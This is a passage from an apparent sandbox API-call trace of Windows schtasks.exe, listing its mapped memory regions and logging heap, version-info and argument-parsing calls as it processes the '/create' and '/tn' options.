"c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2835 start_va = 0x29464840000 end_va = 0x29464b76fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2836 start_va = 0x29464b80000 end_va = 0x29464c5cfff monitored = 0 entry_point = 0x29464bde0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2837 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2838 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2839 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2840 start_va = 0x29464680000 end_va = 0x294646b8fff monitored = 0 entry_point = 0x294646812f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2841 start_va = 0x29464b80000 end_va = 0x29464d07fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000029464b80000" filename = "" Region: id = 2842 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2843 start_va = 0x29464680000 end_va = 0x29464680fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464680000" filename = "" Region: id = 2844 start_va = 0x29464690000 end_va = 0x29464690fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000029464690000" filename = "" Region: id = 2845 start_va = 0x29464d10000 end_va = 0x29464e90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000029464d10000" filename = "" Region: id = 2846 start_va = 0x29464ea0000 end_va = 0x2946629ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000029464ea0000" filename = "" Region: id = 2847 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2848 start_va = 0x294646a0000 end_va = 0x294646a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000294646a0000" filename = "" Region: id = 2849 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2850 start_va = 0x294646b0000 end_va = 0x294646b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000294646b0000" filename = "" Region: id = 2851 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2852 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2853 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 152 os_tid = 0x12d8 [0114.991] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0114.991] __set_app_type (_Type=0x1) [0114.992] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0114.992] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0114.992] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0114.993] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0114.993] CsrIdentifyAlertableThread () returned 0x0 [0114.993] GetProcessHeap () returned 0x29464740000 [0114.993] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x29464744ef0 [0114.993] RtlRestoreLastWin32Error () returned 0xb30e472000 [0114.993] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0114.993] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0114.993] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0114.993] RtlVerifyVersionInfo (VersionInfo=0xb30e32f5c0, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0114.993] GetProcessHeap () returned 0x29464740000 [0114.993] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x29464744f10 [0114.993] lstrlenW (lpString="") returned 0 [0114.993] GetProcessHeap () returned 0x29464740000 [0114.993] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x2) returned 0x29464744f30 [0114.993] GetProcessHeap () returned 0x29464740000 [0114.993] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x294647448a0 [0114.994] GetProcessHeap () returned 0x29464740000 [0114.994] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x294647448d0 [0114.994] GetProcessHeap () returned 0x29464740000 [0114.994] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x294647448f0 [0114.994] GetProcessHeap () returned 0x29464740000 [0114.994] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464744920 [0114.994] GetProcessHeap () returned 0x29464740000 [0114.994] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x294647490c0 [0114.994] GetProcessHeap () returned 0x29464740000 [0114.994] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464748f70 [0114.994] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x29464744490 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x294647491e0 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464748fd0 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464749150 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464749180 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x294647444b0 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464749120 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464748f40 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x294647491b0 [0114.995] GetProcessHeap () returned 0x29464740000 [0114.995] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464748fa0 [0114.995] SetThreadUILanguage (LangId=0x0) returned 0x409 [0114.997] RtlRestoreLastWin32Error () returned 0xb30e472000 [0114.997] GetProcessHeap () returned 0x29464740000 [0114.998] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464749240 [0114.998] GetProcessHeap () returned 0x29464740000 [0114.998] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464749090 [0114.998] GetProcessHeap () returned 0x29464740000 [0114.998] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x294647490f0 [0114.998] GetProcessHeap () returned 0x29464740000 [0114.998] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464749030 [0114.998] GetProcessHeap () returned 0x29464740000 [0114.998] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464748ee0 [0114.998] GetProcessHeap () returned 0x29464740000 [0114.998] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x29464744520 [0114.998] _memicmp (_Buf1=0x29464744520, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0114.998] GetProcessHeap () returned 0x29464740000 [0114.998] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x208) returned 0x29464749b80 [0114.998] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29464749b80, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0114.998] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xb30e32f718 | out: lpdwHandle=0xb30e32f718) returned 0x76c [0115.002] GetProcessHeap () returned 0x29464740000 [0115.003] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x776) returned 0x2946474a8e0 [0115.003] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2946474a8e0 | out: lpData=0x2946474a8e0) returned 1 [0115.003] VerQueryValueW (in: pBlock=0x2946474a8e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xb30e32f6b0, puLen=0xb30e32f710 | out: lplpBuffer=0xb30e32f6b0*=0x2946474ac90, puLen=0xb30e32f710) returned 1 [0115.005] _memicmp (_Buf1=0x29464744520, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.006] _vsnwprintf (in: _Buffer=0x29464749b80, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xb30e32f688 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0115.006] VerQueryValueW (in: pBlock=0x2946474a8e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xb30e32f6a0, puLen=0xb30e32f708 | out: lplpBuffer=0xb30e32f6a0*=0x2946474aac0, puLen=0xb30e32f708) returned 1 [0115.006] lstrlenW (lpString="schtasks.exe") returned 12 [0115.006] lstrlenW (lpString="schtasks.exe") returned 12 [0115.006] lstrlenW (lpString=".EXE") returned 4 [0115.006] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0115.007] lstrlenW (lpString="schtasks.exe") returned 12 [0115.007] lstrlenW (lpString=".EXE") returned 4 [0115.007] _memicmp (_Buf1=0x29464744520, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.007] lstrlenW (lpString="schtasks") returned 8 [0115.007] GetProcessHeap () returned 0x29464740000 [0115.007] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x29464749060 [0115.007] GetProcessHeap () returned 0x29464740000 [0115.007] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b3f0 [0115.007] GetProcessHeap () returned 0x29464740000 [0115.007] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b570 [0115.007] GetProcessHeap () returned 0x29464740000 [0115.007] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b900 [0115.007] GetProcessHeap () returned 0x29464740000 [0115.007] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x29464744340 [0115.007] _memicmp (_Buf1=0x29464744340, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.007] GetProcessHeap () returned 0x29464740000 [0115.007] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xa0) returned 0x29464744360 [0115.007] GetProcessHeap () returned 0x29464740000 [0115.008] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b6f0 [0115.008] GetProcessHeap () returned 0x29464740000 [0115.008] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b720 [0115.008] GetProcessHeap () returned 0x29464740000 [0115.008] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x20) returned 0x2946474b8a0 [0115.008] GetProcessHeap () returned 0x29464740000 [0115.008] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x29464744410 [0115.008] _memicmp (_Buf1=0x29464744410, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.008] GetProcessHeap () returned 0x29464740000 [0115.008] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x200) returned 0x2946474bbb0 [0115.008] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2946474bbb0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0115.008] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0115.008] GetProcessHeap () returned 0x29464740000 [0115.008] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x30) returned 0x294647438f0 [0115.008] _vsnwprintf (in: _Buffer=0x29464744360, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xb30e32f688 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0115.008] GetProcessHeap () returned 0x29464740000 [0115.008] GetProcessHeap () returned 0x29464740000 [0115.008] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x2946474a8e0) returned 1 [0115.009] GetProcessHeap () returned 0x29464740000 [0115.009] RtlSizeHeap (HeapHandle=0x29464740000, Flags=0x0, MemoryPointer=0x2946474a8e0) returned 0x776 [0115.009] RtlFreeHeap (HeapHandle=0x29464740000, Flags=0x0, BaseAddress=0x2946474a8e0) returned 1 [0115.009] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.009] GetThreadLocale () returned 0x409 [0115.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.009] lstrlenW (lpString="?") returned 1 [0115.009] GetThreadLocale () returned 0x409 [0115.009] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.009] lstrlenW (lpString="create") returned 6 [0115.010] GetThreadLocale () returned 0x409 [0115.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.010] lstrlenW (lpString="delete") returned 6 [0115.010] GetThreadLocale () returned 0x409 [0115.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.010] lstrlenW (lpString="query") returned 5 [0115.010] GetThreadLocale () returned 0x409 [0115.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.010] lstrlenW (lpString="change") returned 6 [0115.010] GetThreadLocale () returned 0x409 [0115.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.010] lstrlenW (lpString="run") returned 3 [0115.010] GetThreadLocale () returned 0x409 [0115.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.010] lstrlenW (lpString="end") returned 3 [0115.010] GetThreadLocale () returned 0x409 [0115.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.010] lstrlenW (lpString="showsid") returned 7 [0115.010] GetThreadLocale () returned 0x409 [0115.010] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0115.010] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.010] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.010] lstrlenW (lpString="/create") returned 7 [0115.010] lstrlenW (lpString="-/") returned 2 [0115.010] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.010] lstrlenW (lpString="?") returned 1 [0115.011] lstrlenW (lpString="?") returned 1 [0115.011] GetProcessHeap () returned 0x29464740000 [0115.011] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x29464743930 [0115.011] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.011] GetProcessHeap () returned 0x29464740000 [0115.011] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0xa) returned 0x29464743950 [0115.011] lstrlenW (lpString="create") returned 6 [0115.011] GetProcessHeap () returned 0x29464740000 [0115.011] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x18) returned 0x2946474ab90 [0115.011] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.011] GetProcessHeap () returned 0x29464740000 [0115.011] RtlAllocateHeap (HeapHandle=0x29464740000, Flags=0xc, Size=0x14) returned 0x2946474ac30 [0115.011] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|?|") returned 3 [0115.011] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.011] lstrlenW (lpString="|?|") returned 3 [0115.011] lstrlenW (lpString="|create|") returned 8 [0115.011] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.011] lstrlenW (lpString="create") returned 6 [0115.011] lstrlenW (lpString="create") returned 6 [0115.011] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.011] GetProcessHeap () returned 0x29464740000 [0115.011] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464743950) returned 1 [0115.011] GetProcessHeap () returned 0x29464740000 [0115.011] RtlReAllocateHeap (Heap=0x29464740000, Flags=0xc, Ptr=0x29464743950, Size=0x14) returned 0x29464743950 [0115.011] lstrlenW (lpString="create") returned 6 [0115.012] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.012] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.012] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.012] lstrlenW (lpString="|create|") returned 8 [0115.012] lstrlenW (lpString="|create|") returned 8 [0115.012] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0115.012] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.012] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.012] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.012] lstrlenW (lpString="/tn") returned 3 [0115.012] lstrlenW (lpString="-/") returned 2 [0115.012] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0115.012] lstrlenW (lpString="?") returned 1 [0115.012] lstrlenW (lpString="?") returned 1 [0115.012] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.012] lstrlenW (lpString="tn") returned 2 [0115.012] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.012] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|?|") returned 3 [0115.012] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.012] lstrlenW (lpString="|?|") returned 3 [0115.012] lstrlenW (lpString="|tn|") returned 4 [0115.012] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.012] lstrlenW (lpString="create") returned 6 [0115.013] lstrlenW (lpString="create") returned 6 [0115.013] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.013] lstrlenW (lpString="tn") returned 2 [0115.013] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.013] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|create|") returned 8 [0115.013] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.013] lstrlenW (lpString="|create|") returned 8 [0115.013] lstrlenW (lpString="|tn|") returned 4 [0115.013] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0115.013] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.013] lstrlenW (lpString="delete") returned 6 [0115.013] lstrlenW (lpString="delete") returned 6 [0115.013] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.013] lstrlenW (lpString="tn") returned 2 [0115.013] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.013] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|delete|") returned 8 [0115.013] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.013] lstrlenW (lpString="|delete|") returned 8 [0115.013] lstrlenW (lpString="|tn|") returned 4 [0115.013] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0115.013] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.013] lstrlenW (lpString="query") returned 5 [0115.013] lstrlenW (lpString="query") returned 5 [0115.013] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.013] lstrlenW (lpString="tn") returned 2 [0115.013] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.013] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|query|") returned 7 [0115.014] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.014] lstrlenW (lpString="|query|") returned 7 [0115.014] lstrlenW (lpString="|tn|") returned 4 [0115.014] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0115.014] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.014] lstrlenW (lpString="change") returned 6 [0115.014] lstrlenW (lpString="change") returned 6 [0115.014] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.014] lstrlenW (lpString="tn") returned 2 [0115.014] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.014] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|change|") returned 8 [0115.014] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.014] lstrlenW (lpString="|change|") returned 8 [0115.014] lstrlenW (lpString="|tn|") returned 4 [0115.014] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0115.014] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.014] lstrlenW (lpString="run") returned 3 [0115.014] lstrlenW (lpString="run") returned 3 [0115.014] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.014] lstrlenW (lpString="tn") returned 2 [0115.014] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.014] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|run|") returned 5 [0115.014] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.014] lstrlenW (lpString="|run|") returned 5 [0115.014] lstrlenW (lpString="|tn|") returned 4 [0115.014] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0115.014] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.014] lstrlenW (lpString="end") returned 3 [0115.014] lstrlenW (lpString="end") returned 3 [0115.015] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.015] lstrlenW (lpString="tn") returned 2 [0115.015] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.015] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|end|") returned 5 [0115.015] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.015] lstrlenW (lpString="|end|") returned 5 [0115.015] lstrlenW (lpString="|tn|") returned 4 [0115.015] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0115.015] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.015] lstrlenW (lpString="showsid") returned 7 [0115.015] lstrlenW (lpString="showsid") returned 7 [0115.015] _memicmp (_Buf1=0x29464743930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.015] GetProcessHeap () returned 0x29464740000 [0115.015] HeapValidate (hHeap=0x29464740000, dwFlags=0x0, lpMem=0x29464743950) returned 1 [0115.015] GetProcessHeap () returned 0x29464740000 [0115.015] RtlReAllocateHeap (Heap=0x29464740000, Flags=0xc, Ptr=0x29464743950, Size=0x16) returned 0x29464743950 [0115.015] lstrlenW (lpString="tn") returned 2 [0115.015] _memicmp (_Buf1=0x2946474ab90, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0115.015] _vsnwprintf (in: _Buffer=0x29464743950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|showsid|") returned 9 [0115.015] _vsnwprintf (in: _Buffer=0x2946474ac30, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb30e32f698 | out: _Buffer="|tn|") returned 4 [0115.015] lstrlenW (lpString="|showsid|") returned 9 [0115.015] lstrlenW (lpString="|tn|") returned 4 [0115.015] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0115.015] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.015] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.015] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.015] lstrlenW (lpString="/tn") returned 3 [0115.015] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] RtlRestoreLastWin32Error () returned 0xb30e472000 [0115.016] lstrlenW (lpString="/tn") returned 3 [0115.016] GetProcessHeap () returned 0x29464740000 